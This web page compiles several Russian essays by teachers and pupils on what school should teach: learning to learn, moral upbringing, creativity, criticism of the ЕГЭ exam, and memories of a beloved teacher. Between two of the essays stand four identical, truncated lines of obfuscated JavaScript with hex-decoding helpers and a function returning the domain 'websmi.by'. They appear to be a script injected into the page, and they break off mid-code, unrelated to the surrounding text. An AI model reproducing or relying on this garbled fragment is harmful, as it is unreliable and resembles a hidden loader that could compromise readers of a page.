Эссе
«Чему должна учить школа?»
Сегодняшние дети – люди нового поколения, нового информационного общества. И умение творить себя, свою жизнь в условиях современных реалий – очень важно для них! Современные дети стремятся познать все новое. Нынешние дети достаточно развиты коммуникативно, в них реже наблюдается зажатость перед взрослыми, они более раскрепощенные. Наша современная жизнь богата примерами: начиная от кнопки на бытовой технике, рекламными роликами и плакатами на улице. Часто удивляешься, как ребенок, так быстро смог разобраться в том, или ином техническом вопросе. А что же современная школа? Соответствует ли она современным детям? И чему школа должна учить? Эти вопросы волнуют всех, кто связан с детьми, кто учит и воспитывает их. Волнуют они и меня.
В последнее время большое внимание уделяется саморазвитию школьников в ходе обучения. Они должны овладеть умениями и навыками самообучения и саморазвития, а именно должны научиться самостоятельно, принимать учебную задачу, определять учебные операции, производить контроль и самоконтроль, осуществляя оценку и самооценку.
Как никогда слова Элвина Тоффлера «Безграмотными в 21 веке будут не те, кто не умеет читать и писать, а те, кто не умеет учиться, доучиваться и переучиться», актуальны сейчас в вопросе современного образования.
Но не следует воспринимать эти слова буквально то, что уже как бы между строк нам дозволяется не уметь, ни читать, ни писать. На мой взгляд, эти умения просто необходимы современному человеку, если он хочет стать полноценной и развитой личностью. Из чтения мы черпаем нужную нам информацию, а когда пишем — лучше её осмысливаем.
А вот со второй частью цитаты я согласна полностью: через умения учиться, разучиваться и переучиваться проявляются наши способности, характер, стремление бесконечно осваивать и «пропускать через себя» новое, актуальное, нужное. Важно не терять навык впитывать как губка с каждым годом, вплоть до наступления солидного возраста
«Скажи мне и я забуду. Покажи мне – и я запомню. Вовлеки меня – и я научусь”. Эта китайская пословица очень точно отражает принципы современной прогрессивной школы. И наше образование в данный момент находится в процессе изменения, оно старается соответствовать современному миру, современным детям. Оно направлено, в первую очередь, на формирование универсальных учебных действий (УУД), обеспечивающих умение учиться. Именно начальная ступень школьного обучения должна обеспечить познавательную мотивацию и интересы учащихся, готовность и способность к сотрудничеству и совместной деятельности учения с учителем и одноклассниками.
Одна из задач школы – научить детей учиться, сформировать потребность в учении, научить получать от учёбы удовольствие.
Но достаточно ли только научить учиться, добывать знания и применять их в жизни? Сегодня задача школы не только научить учиться, разучиваться и переучиваться, а ещё и воспитать успешного, честного, справедливого человека с активной жизненной позицией, который сможет найти своё место в жизни. Кроме того, школа должна учить своих подопечных общаться и ценить живое человеческое общение, радоваться успехам и достижениям других, верить людям, сопереживать и приходить на помощь тем, кому трудно.
Школа готовит нас к выходу во взрослую жизнь, ведь без определённых знаний человек не сможет выжить в век технологий и компьютеризации. В наше время необходимо иметь глубокие и разносторонние знания. В основе всего этого лежат знания, полученные нами в школе.
Учитель начальных классов Проровская Маргарита Андреевна.
МБОУ «Чернореченская средняя общеобразовательная школа №1»
Чему учат в школе?
Человек рождается чистым, как белый лист бумаги. На этом листе жизнь напишет много замечательного и не очень. С детства родители, бабушки и дедушки учат нас быть добрыми и послушными.
Потом мы идём в школу, и нас захватывает интересная жизнь, где учителя учат быть честными, сообразительными, умными. За широкими дверьми школ мы узнаём целое море новых для нас слов. Через них мы видим то, чего никогда не знали. Каждая новая книга для первоклассника — это как неопознанная Вселенная .
На уроках математики нас учат решать разные задачи и примеры. На уроках русского языка мы узнаём, насколько могуч этот великий язык. На уроках литературы мы развиваем свою память, уча стихотворения и пересказывая тексты. Уроки природоведения помогают нам лучше узнать и полюбить животный и растительный мир. Когда мы становимся старше, появляются новые предметы, в которых мы узнаём о науках, технике, ремесле и искусстве.
Чтобы познать мир, надо много читать, внимательно слушать учителя и выполнять все задания. Кроме русского языка, нас учат иностранным языкам, чтобы мы могли общаться с людьми из других стран, понимать их и узнавать много интересного.
Школа готовит нас к выходу во взрослую жизнь, ведь без определённых знаний человек не сможет выжить в век технологий и компьютеризации. В наше время необходимо иметь глубокие и разносторонние знания, владеть иностранными языками, чтобы получить хорошую работу. В основе всего этого лежат знания, полученные нами в школе.
Учиться бывает тяжело, но это необходимо и интересно!
Решила написать статью, пожалуй, на самую близкую тему для учеников со всего мира.
Чему же на самом деле должны учить в школе? Мне кажется этим вопросом задавался каждый, кто сейчас это читает.
С ранних лет все вбивают нам в головы то, что школа наш второй дом. Так вот, это на самом деле так. И как наши вторые родители, учителя должны не только научить нас извлекать квадратный корень и находить гипотенузу, но и научить тому, как выживать в этом мире. Научить тому, что делать, когда все идет под откос, научить выражать свои, обращу внимание, именно СВОИ мысли, а не плагиатить позицию окружающих нас людей. Все чаще замечаю, что над многими личностями социума подвластен инстинкт стада. Пробить уши, сделать тату и покрасить волосы в необычный цвет – может каждый, а вот сделать что-то большее…Вопрос.
Что-то я отвлеклась, так вот, важно понять, что кроме знаний существует уйма навыков и умений, которые помогут нам в жизни больше, чем Past Simple. Например: умение поддержать разговор, отстаивать свою точку зрения, умение признавать свои ошибки и другие полезные навыки общения.
Порой, мне кажется, что школа забывает о том, что нужно развивать не только правое полушарие мозга, но и левое, отвечающее за наши творческие данные. Предлагаю внести искусство в школьную программу: рисование, вокал, танцы, музыка, прикладное искусство и др. И все эти предметы должны быть обязательными до 11 выпускного класса. А почему бы не добавить их и в ЦТ?
Многие дети считают себя глупыми только потому что не понимают математику, но при этом они создают картины, пишут музыку и сочиняют стихи.
Школа- это место, где ребенок должен определиться со своим будущим, а не стать вычислительной машиной по извлечению квадратных корней.
Многие учителя несделанную домашнюю работу списывают на сериалы, что-то вроде: «Сериалы вам есть время смотреть, а на уроки времени не хватает!?» А вы когда-нибудь задавали вопрос почему ваши ученики предпочитают сериалы урокам? По-моему, это риторический вопрос…Сериалы и фильм учат нас жизни. Например, фильм « Гарри Поттер» научил нас тому, что уникален каждый, а сериал «Сверхъестественное», что семья не останавливается на крови. Слава Богу, что биология научила нас тому, что хлоропласты содержат хлорофилл.
Я не говорю, что все предметы бесполезны, вовсе нет, но почему мы не можем изучать только то, что нам необходимо? Почему мы должны тратить время на то, что нам не нравится и что мы никак не можем выучить? Да, школа дает нам образование, да, мы сможем потом поступить в высшее учебное заведение, да, выучимся, да, найдем хорошую работу. Однако останемся пустыми духовно, это самое страшное.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «websmi.by»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «websmi.by»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «websmi.by»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «websmi.by»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e
ШКОЛА ДОЛЖНА. УМЕЕТ? ДЕЛАЕТ?
Эссе
Только
тогда, когда педагоги
будут
знать, что надо делать, они смогут делать
П.П.
Блонский
У каждого человека есть свой ПУТЬ, который он выбирает и идёт по
нему всю жизнь. И счастлив тот, кто может определить свою дорогу и идти по ней,
никогда не жалея о своем выборе.
Свой ПУТЬ… У меня он связан со школой…Я-УЧИТЕЛЬ!
Мне часто задают вопрос о том, как я решилась на такой
ответственный шаг. Почему ответственный? Да потому что учитель не только учит,
он воспитывает, формирует, развивает, поддерживает, мотивирует и еще
много-много чего делает. Он работает…с душой ребенка. Он формирует ЛИЧНОСТЬ.
И что бы ни говорили, я глубоко убеждена, что именно от учителей многое
зависит, в каком обществе мы будем жить и каким будет наше будущее. Я уверена,
что на уроках нужно не только учить правила и развивать навыки решать примеры и
задачи, а и учить… ЖИЗНИ.
Да, в современной школе непросто. Вопросу о том, чему нужно сейчас
учить детей и какой должна быть теперь школа, уделяется большое внимание. Сторонников
старых, традиционных, взглядов на эту проблему немало, но и много тех, кто
считает, что пришло время глобальных перемен. Я, как молодой специалист, тоже
думаю, что пора меняться! Никто не говорит, что надо полностью все
искоренить и начать с нуля. Нет. Надо оставить все хорошее (а хорошего много!),
но и многое изменить.
Какой вижу современную школу я?
Это школа, где ребенок чувствует себя уютно и
комфортно, где он ощущает себя успешным человеком независимо от
полученных отметок. Хочется, чтобы именно здесь, в школе, каждый ученик начинал
строить свою маленькую карьеру, которая, возможно, и откроет перед ним двери в
дальнейшую, новую, взрослую жизнь. А как было бы здорово, если бы каждый
выпускник уже в школе понимая, какую профессию выберет, начинал сознательно к
ней готовиться! А почему бы и нет? Ведь сейчас многие получают высшее
образование ради самого образования, а не для того, чтобы работать по
специальности и быть профессионалом своего дела. А государство тратит бюджетные
деньги, причем немалые…А в школе, которую я себе представляю и в которой хотела
бы работать, ученик готовится к осознанной трудовой деятельности. Как говорили
раньше: « Все профессии важны, все профессии нужны»? Вот и я вижу школу, где
формируется сознание и самосознание молодежи, где к каждой профессии
прививаются почет и уважение. Если каждый будет настоящим профессионалом на
своем месте, тогда и государство будет сильным. Я думаю именно так.
Современная школа должна не только выявлять и
учитывать индивидуальные особенности каждого ученика, а создавать условия
для их проявления и развития. Важно — не столько дать школьникам новую
готовую информацию, сколько научить их самим ее добывать, перерабатывать,
хранить, представлять и уметь ею пользоваться.
А для этого, на мой взгляд, нужны еще дополнительные
учебники с расширенной информацией и бесплатные, доступные образовательные
сайты, которые сможет использовать каждый ученик для своего саморазвития.
А как хорошо было бы сделать 4-дневную рабочую неделю! Тогда 4 дня учились бы в
школе, а 5-ый бы пошел на самообразование.
Да, понимаю, для того чтобы помочь ученику
обрести потребность учиться всю свою жизнь, надо много трудиться и
учителям, и родителям. Ни для кого не секрет, что, к сожалению, встречаются
мамы и папы, которые просто мешают своему ребенку быть индивидуальностью. И
здесь учитель должен помочь, поддержать своего ученика.
Значит, школа должна быть домом — единым
образовательно-воспитательным пространством, в котором взаимодействуют
учащиеся, педагоги и родители, объединенные общими целями и задачами. Здесь
должны быть все условия для внеурочной работы – занятий различных кружков и
секций. Будет замечательно, если, учитывая занятость современных родителей,
дети будут иметь возможность заниматься на факультативных занятиях или в
секциях школы. А для одаренных детей необходимо создавать образовательные
центры, где можно будет заниматься творчеством, исследовательской
деятельностью. Работа в единой команде единомышленников, объединенных одной
целью, — настоящая ценность. Может, появятся новые научные открытия? Может,
именно в таких центрах вырастет будущая интеллектуальная элита нашего
государства? Кто знает…
Нельзя забывать и об изучении русского языка.
Ведь в век компьютеризации, когда техника «исправляет ошибки», можно забыть и
элементарные правила правописания. Такого допустить, конечно же, нельзя.
Испокон веков школа «сеяла разумное, доброе,
вечное». Замечательная традиция! Современная школа должна продолжать развивать
человеческие качества. Милосердие, человеколюбие, чуткость, любовь к Родине,
уверенность в себе…Как же без этого?
Современная школа – это школа успеха, здоровья,
побед! Она должна учить мыслить, самостоятельно искать решение проблем,
развивать потребность учиться всю жизнь.
Современная школа – это творческая мастерская
учителя и самого ребёнка в педагогическом процессе, где ученик является
солнцем, вокруг которого вращается всё; где каждый талантлив по-своему. Надо
только помочь раскрыться каждому ребенку, проявить свои таланты и
способности. Мы должны быть и помощниками, и наставниками, и друзьями. Дети
должны нам доверять и не бояться. Нам бы только ничего не упустить и вовремя заметить…
Да, интеллектуальное, физическое,
эстетическое, нравственное развитие были востребованы и вчера, и остаются
таковыми сегодня, и будут не менее актуальны завтра. Только достигать их нужно
по-новому, чтобы в глазах учащихся светилась радость и заинтересованность в
обучении.
Есть великая
формула «дедушки» космонавтики К.Э. Циалковского, приоткрывающая завесу над
тайной рождения творческого ума: «Сначала я открывал истины, известные многим,
затем стал открывать истины, известные некоторым, и наконец стал открывать
истины, никому еще неизвестные». Видимо, это и есть путь становления интеллекта,
путь развития таланта. Наша обязанность – помочь ребенку встать на этот путь…
«Чему я должна научить школьников сегодня, чтобы они стали успешными завтра?»
“Учитель работает над самой ответственной задачей – он формирует человека”
Чему научить школьников? Вопрос, тревожащий умы многих педагогов. Наверное, этот вопрос и есть моя философия, моя дорога, зовущая и ведущая к счастью педагогического труда, к бесконечной жизни в душах моих учеников. Я не работаю учителем, я учитель. Мне нравится быть учителем. Не так много лет назад я сделала свой выбор, считаю его правильным и сейчас.
Как помочь детям стать успешными? Не возможность чему-то учить детей, а каждый день общаться с ними, открывая для себя новое. Меняются дети, меняюсь и я вместе с ними. Мне нравится рассуждать о мире глазами детей. Находить в этом радость и удовлетворение. Думать о своих учениках. Сопереживать их успехам и неудачам. Нести за них ответственность. Любить. Да, для меня «учитель» – не профессия, не общественное положение, не хобби, не работа. Для меня быть учителем – это и значит жить.
В детстве я всегда мечтала стать учителем. Педагогов воспитывают педагоги. Мама моя была учителем трудового обучения и отработала в школе более 30 лет, она сумела пробудить интерес к профессии педагога. Именно любимые учителя, открыли мне, что дружеское участие, живое, доверительное общение с детьми, пожалуй, одно из главных условий успеха и удовлетворения от своей работы. Учитель должен не «работать с детьми», а жить с ними, делить радости и печали, взлеты и падения, не допуская фальши в отношениях.
Понимаешь, мама, я — учитель!
Видишь, я вхожу, волнуясь, в класс.
Это мне решили поручить их
20 душ и 40 глаз…
В моем представлении учитель — это, прежде всего друг по отношению к детям, их помощник, советчик и союзник, в терминологии современной педагогики – «тьютор». Не человек, дающий готовые истины, а сопровождающий в поиске истины. Этот поиск должен быть присущ как молодому, так и опытному учителю.
Быть учителем — это не просто тяжелый, рутинный, ежедневный труд. Это, прежде всего — призвание души, ее состояние.
Школа — самая удивительная страна, где каждый день не похож не предыдущий, где поиск чего-то нового, интересного, где нет времени скучать, ссориться и тратить время на пустое. Школа – это место где все время надо торопиться, торопиться успеть, спешить стать интересным для окружающих тебя людей, оставаться интересным всегда, дарить окружающим свою энергию, знания, умения.
В этой стране уживаются только самые стойкие, самые терпеливые, самые мужественные, самые искренние, самые ответственные, самые добрые, самые интересные и самые удивительные люди. И называют их учителями.
За годы работы я поняла, что не в количестве знаний заключается образование, а в полном понимании и умелом применении всего того, что знаешь, чему учишь. Каждый раз, уходя домой, думаешь, а что будет завтра, как сделать так, чтобы твой урок запомнился? Удивить, рассмешить или, может быть, напугать? Увы, сегодня химия и биология для многих – предмет не первостепенной важности. Как найти и подобрать то, что поможет сделать процесс обучения интересным, творческим, запоминающимся? Я уверена, что, только, вызвав светлые чувства и положительные эмоции, можно создать комфортный климат на уроке.
Я считаю вершиной педагогического мастерства научить учиться. В идеале ученик должен добровольно с удовольствием усваивать знания. Тогда обучение будет высокоэффективным. Но где, же нам взять такого ученика.
На своих уроках по химии я стремлюсь к тому, чтобы ученики учились сами доходить до логического конца. Стремлюсь, заинтересовать учащихся, создавая различные игровые и неигровые ситуации, где ученик проявлял бы больше самостоятельного изучения материала. Из таких игровых ситуаций на уроках я использую такую форму деятельности учащихся, как мини-проект, урок-конференция, игровые уроки и другие.
Сейчас модно говорить об интерактивных досках, о необходимости использования на своих уроках ТСО, активном использовании Интернет – ресурсов. Согласна. Но никакая, даже самая совершенная техника, не может заменить живого собеседника, вдохновить, заинтересовать изучаемым материалом. Любое техническое средство обучения, даже самое современное и перспективное, — лишь верный помощник для педагога, вспомогательное средство. Живое, эмоциональное учительское слово ничем не удастся заменить. Несомненно, ученики уважают учителя, идущего в ногу со временем. Но не стоит забывать о том, что учитель должен не только идти в ногу со своими учениками: он должен стоять к ним лицом.
Ясно, что урок – каждый урок! – должен быть увлекательным, наполненным, разнообразным. Помнить о том, чтобы к твоему уроку интересно было готовиться и тебе и твоему ученику, чтобы идти на него было радостно, чтобы он дарил счастье узнавания нового и счастье сопереживания в открытии нового. И если ты хороший учитель, то ученик для тебя не сосуд, который надо наполнить, наполнить непременно до краев и никак не меньше, ученик — это факел, который надо зажечь.
Я думаю, что учитель не должен замыкаться в себе. Каждый творчески работающий учитель понимает, что не существует универсальных образовательных ресурсов, и лучше, чем «свое», созданное самостоятельно под свой стиль работы, ему не найти. А еще лучше – созданное не просто одним учителем, а в сотворчестве с учениками и коллегами, ведь процесс учения и познания наиболее плодотворен именно через продуктивную деятельность. И я счастлива, что мои коллеги – это мои единомышленники, с которыми можно творить и успешно решать любые, даже самые трудные учебно — воспитательные задачи и добиваться блестящих результатов.
В современное время надо многое знать в педагогике, надо осваивать новые программы, изучать новую технику, читать энциклопедии, справочники, руководства, способные воздействовать на сознание учеников. И я учусь. Учусь все время. Учусь всегда. Учусь везде. И мне нравиться учиться. Мой девиз: «Образование через всю жизнь».
В школе не найдешь и двух одинаковых детей, у каждого свой характер, своя судьба. Вместе учатся и избалованные, обласканные родителями дети, и те, которые не видят ласки, для которых слово семья заключает в себе боль, страх, унижение. Изначально известно, что человек плохим не рождается, его таким делает воспитание, окружающие люди. У В.А. Сухомлинского я когда-то прочитала, что «если ребёнок живёт во вражде, он учится агрессии; если ребёнка постоянно критиковать, он учится ненависти; если ребёнка высмеивать, он стремится к замкнутости; если ребёнок растёт в упрёках, он учится жить с чувством вины, но, в то же время, если ребёнок растёт в терпимости, он учится понимать других; если ребёнка подбадривают, он учится верить в себя; если ребёнка хвалят, он учится быть благодарным; если ребёнок растёт в безопасности, он учится верить в людей; если ребёнок живёт в понимании и дружелюбии, он учится находить любовь в этом мире». Эти слова стали для меня главным ориентиром в воспитательной деятельности. Я все время пытаюсь оценить, насколько комфортно моим ученикам в школе, на уроках, создать уютную обстановку в классе, доверять своим ученикам, и дети отвечают мне благодарностью.
Я считаю, что любовь к детям, стремление понять и помочь — профессионально важные качества учителя. Если общение с детьми не является приоритетной ценностью учителя, ему не стоит рассчитывать на любовь и доверие детей, даже если он прекрасно знает свой предмет и методику преподавания. Поэтому для меня, как учителя, на первом месте стоит внутренний мир ребенка.
Человек становится учителем не после окончания пединститута, а в результате многолетнего общения с учениками. Учитель — это артист своего дела, но его слушатели и зрители не встречают его и не провожают аплодисментами, за исключением разве что Дня учителя.
Учитель — это скульптор, ваятель. Но его работ до поры до времени не видит никто, кроме него самого.
Учитель — это врач. Но его «пациенты» редко благодарят его за «лечение», да и вообще-то не очень стремятся «лечится». Пройдут годы, прежде чем «вылеченный» вами, поставленный на ноги, придёт и скажет: «Спасибо». Но этого надо ждать годы.
Где же черпает вдохновение учитель, чтобы быть одновременно воспитателем и педагогом, артистом и скульптором, отцом и матерью, чтобы тысячи раз оставаться с вами с глазу на глаз? Только в самом себе, только в сознании величия своего дела, только в любви к детям! Да, они разные: одарённые и обычные, смелые и робкие, хитрые и бескорыстные…
Все мои ученики ТАЛАНТЛИВЫ! Главное правило – создать каждому ребенку ситуацию успеха, убедить каждого в том, что у него все получится. Что он способный и умный. И результат не замедлит сказаться. В благоприятном психологическом климате класса у учащихся, даже тех, кто не силен в химии, формируется положительное отношение к учебе и предмету.
Найти рецепт учительского успеха – мечта любого педагога. Но такого рецепта не существует. А составляющие моего рецепта: Доброта, Честь, Искренность, Справедливость, Достоинство, Профессионализм. Каждое из этих качеств стараюсь я передать своим ученикам. Надеюсь, что я помогу им найти тот единственный путь, единственное средство жить с радостью, это — «не освещать себе жизнь внешним светом, а самому быть свечой» (Л.Н. Толстой).
Чему должна учить школа
Многие гениальные люди были самоучками. Может быть, потому и стали выдающимися учеными, поэтами, художниками. Оттого ли что не были отштампованы школой?
Есть мнение, что семья учит тому, что было двадцать лет назад; улица учит тому, что сейчас; а школа должна учить тому, что будет через двадцать лет.
Я согласен с Альбером Камю, который говорил: “школа учит жить в мире, которого не существует”.
Задача образования – создать образ человека
будущего. Какова наша школа, таким будет и наше будущее. Или, может быть, наше дело – труба!?
Чему же должна учить школа?
Сегодня одной из лучших в мире считается финская школа. Причем финны признают, что многое они позаимствовали у советской школы.
Возможно, я идеализирую школу нашего прошлого, но все в мире признавали, что советская школа была одной из самых лучших. Именно культурная революция в СССР позволила выявить множество талантов, благодаря чему и стал возможным технологический рывок. После полета в космос Юрия Гагарина американцы стали спешно перестраивать свое образование.
Бывший министр
образования и науки А. А. Фурсенко говорил: “Недостатком советской системы образования была попытка формировать человека-творца, а сейчас задача заключается в том, чтобы взрастить квалифицированного потребителя, способного квалифицированно пользоваться результатами творчества других”.
Школу постоянно реформируют, проводят эксперименты над детьми.
Опыт моей работы в школе показал, что за всеми этими “экспериментами” скрывается просто желание педагогов заработать побольше. Те, кто действительно хочет передать свои знания и опыт детям, делают это бесплатно в свободное от основной работы время.
Сегодня, к сожалению, в школе (как и в целом в обществе) господствуют меркантильные настроения. Учителя вынуждены больше думать о том, сколько они смогут заработать, чтобы прокормить свою семью, а не о том, чтобы оставаться допоздна в школе для беседы по душам с детьми.
Более всего недостает детям в школе любви. На уроках ученики находятся в состоянии нервного напряжения, душевного дискомфорта, и в целом радости от жизни не испытывают. Наверно, поэтому частыми становятся эксцессы с выстрелами в школе.
И в советской школе был разрыв между воспитанием и реальной жизнью, но не настолько сильный, как сейчас. Образование должно служить еще и цели воспитания. Знание не делает человека лучше, но в целом поднимает культурный уровень.
Раньше школа худо-бедно занималась воспитанием. В нынешней все думают только о ЕГЭ.
Лично для меня ЕГЭ сродни зазубриванию, практиковавшемуся в школе два века назад. Сегодня требуют знать, а не понимать. Когда я учился, требовали понимать.
Сейчас людей отучают думать, самим искать ответы на вопросы. Можно ли от таких людей ждать инноваций?
В начале нынешнего учебного года была проведена проверка знания школьной программы по математике у студентов первого курса ведущих технических вузов России. Результаты потрясают. Почти 70% получили двойки, примерно 20% – тройки.
Я понимаю, что ЕГЭ это средство демократизировать школу и высшее образование. Но не надо средство превращать в самоцель. Еще древние говорили, что многознание не есть мудрость.
Сегодняшний школьник с планшетом знает подчас больше своих учителей. Практически любые сведения можно получить здесь и сейчас. Как источник информации школа в современном мегаполисе находится лишь на 4 месте!
Если в конце прошлого века информация обновлялась раз в пятнадцать лет, то сейчас она обновляется каждые пять лет, а то и чаще. Сегодня знания устаревают, не успев попасть в учебник.
Ныне большинство выпускников школ ставит перед собой вполне прагматичную цель – достижение материального достатка. Им важнее не теорему Пуанкаре доказать, а получить миллион долларов, причем любыми способами (желательно, не работая).
Известно, что выдающиеся открытия были сделаны в молодом возрасте.
Никто не знает, что может вырасти из вздорного троечника, над которым все насмехаются. Альберта Эйнштейна в школе преподаватели считали ленивым, медлительным и малоспособным. “Из вас, Эйнштейн, никогда ничего путного не выйдет”, – говорил учитель немецкого языка.
Надо не штамповать послушных исполнителей (которые часто наиболее востребованы работодателем), а выявлять и лелеять нестандартных творцов – новых эйнштейнов.
Сегодня важно не знания передать, а НАУЧИТЬ УЧИТЬСЯ, развиваться и совершенствоваться.
Сегодня умным является не тот, кто знает больше других, а тот, кто умеет производить новое знание. Поэтому нужно дать больше свободы для самореализации.
Нужно создавать расширенную систему стипендий, что позволит находить и взращивать таланты. Если в результате бесплатного образования появится новый Эйнштейн, затраты будут оправданы. Один академик Келдыш дал стране столько открытий, что стоимость их окупила вложение во всю систему образования!
Описание событий в романах и других произведениях, творчество и еще раз творчество! – вот что должно быть основой обучения в школе.
Не усвоение устаревающих знаний, а получение целостного представления о законах природы и человеческого общества. И непременно с нравственной основой!
Школа должна помочь человеку найти себя, понять свое предназначение, научить учиться.
Задача школы – научить думать и понимать, творить, а не повторять.
Но сегодняшняя школа формирует послушных исполнителей, а не творцов.
Нужно дать больше свободы для самореализации. Важно не знания передать, а НАУЧИТЬ УЧИТЬСЯ, развиваться и совершенствоваться.
Когда я учился в школе, то думал, что по мере накопления сведений они сами по себе перейдут из количества в качество и сделают меня мудрым. Я учился, но чувствовал, что умнее не становлюсь, а масса приобретенной информации не только не помогает, но даже мешает найти свой ответ. И вдруг в какой-то момент выяснилось, что все, чему нас учили об устройстве общественной жизни, была ложь.
Так оказавшись один на один с реальностью, пришлось искать собственное объяснение происходящему в себе и вокруг…
Меня всегда привлекало то, что давало свободу для собственного осмысления, а потому я предпочитал рыться в книгах, а не учить заданные уроки. Преподаватели не могли не замечать моих пристрастий, хотя это невольно ставило их перед выбором: оценивать формально требуемые знания или же мою способность самостоятельно мыслить и находить то, что другим было недоступно или попросту не нужно”. (из моего романа “Чужой странный непонятный необыкновенный чужак” на сайте Новая Русская Литература.
Я пришел работать в школу, чтобы осуществить на практике идею – создать “школу радости”: когда Дети идут в класс с радостью, а уходят с сожалением. Я руководил экспериментом по нравственно-правовому воспитанию. Как-то я проводил ознакомительную встречу с первоклассниками, и предложил посредством игры в “тепло” и “холодно” сформулировать “золотое правило нравственности” (которому, кстати, 5 тысяч лет). Первоклассники находили ответ гораздо быстрее, чем их родители.
Это доказывает справедливость слов Сократа, что ЗНАНИЕ ЕСТЬ ВОСПОМИНАНИЕ!
Школа должна учить универсальным законам жизни и таким вечным ценностям как дружба, товарищество, взаимопомощь. Знания забудутся и устареют, а вот школьная дружба никогда!
Счастлив тот, у кого в жизни был Учитель – кто подсказывает ответы на волнующие вопросы и направляет на истинный путь.
Сейчас для многих Учителя заменил Интернет. Но настоящие Учителя древности ничего не записывали, потому что понимали незаменимость личного контакта – только для этого и нужен Учитель, а вовсе не для передачи знаний. Знания человек может взять сам, а вот получить опыт, которому можно верить, – только от Учителя.
Поэтому слово Учитель для таких людей всегда писалось с большой буквы.
Мне посчастливилось – потому что таким Учителем была наш классный руководитель Наталья Васильевна. Она стала для многих из нас “второй мамой”. Мы запросто приходили к ней домой даже после окончания школы.
Глядя на Наталью Васильевну, мы учились понимать, что такое подлинно интеллигентный человек.
С ней мы могли находиться в школе до позднего вечера: играли на гитарах, читали стихи, пели песни. Вместе с ней ездили на прогулки за город. Она научила нас дружить.
И теперь мы каждый год встречаемся с одноклассниками. Вот и сегодня мы собираемся вместе, чтобы сходить на могилу нашей дорогой учительницы и почтить ее память.
“Никто тебе не друг, никто тебе не враг, но каждый человек тебе учитель”, – любила повторять Наталья Васильевна.
Она стала для нас Учителем жизни. Учителем навсегда!
Автор: Николай Кофырин.
Loading…
щ В школе мы учимся, получаем знания, открываем для себя что-то новое. Школа всегда начинается 1 сентября. Но чему же учат в школе?
С первого класса появляются такие предметы, как: Русский язык, Математика, Литература, Физическая Культура, Музыка, Изобразительное искусство, технология (труды).
С 5 класса уже добавляются новые: Алгебра(всё та же математика), Геометрия, Физика, Биология, ОБЖ, Обществознание, История, Химия, Информатика и др.
Русский язык. На уроках по Русскому языку, мы учимся орфографии, чистописанию, учим падежи и склонения, что бы в дальнейшем писать правильно, следуя этим правилам.
Алгебра(Математика). На занятиях по алгебре, мы учимся подсчёту, сложению и др.
Литература(Чтение). Занимаясь литературой, мы вырабатываем скорость чтения, правильно сказать и закончить свою мысль, уметь дать точное определение.(я могу очень долго перечислять. тут наверное остановлюсь.)
Мы в любом случае обязаны ходить в школу за знаниями. Ведь только там мы можем получить самую важную для нас информацию. В конце концов, «Учение – свет, а не учение – тьма.» .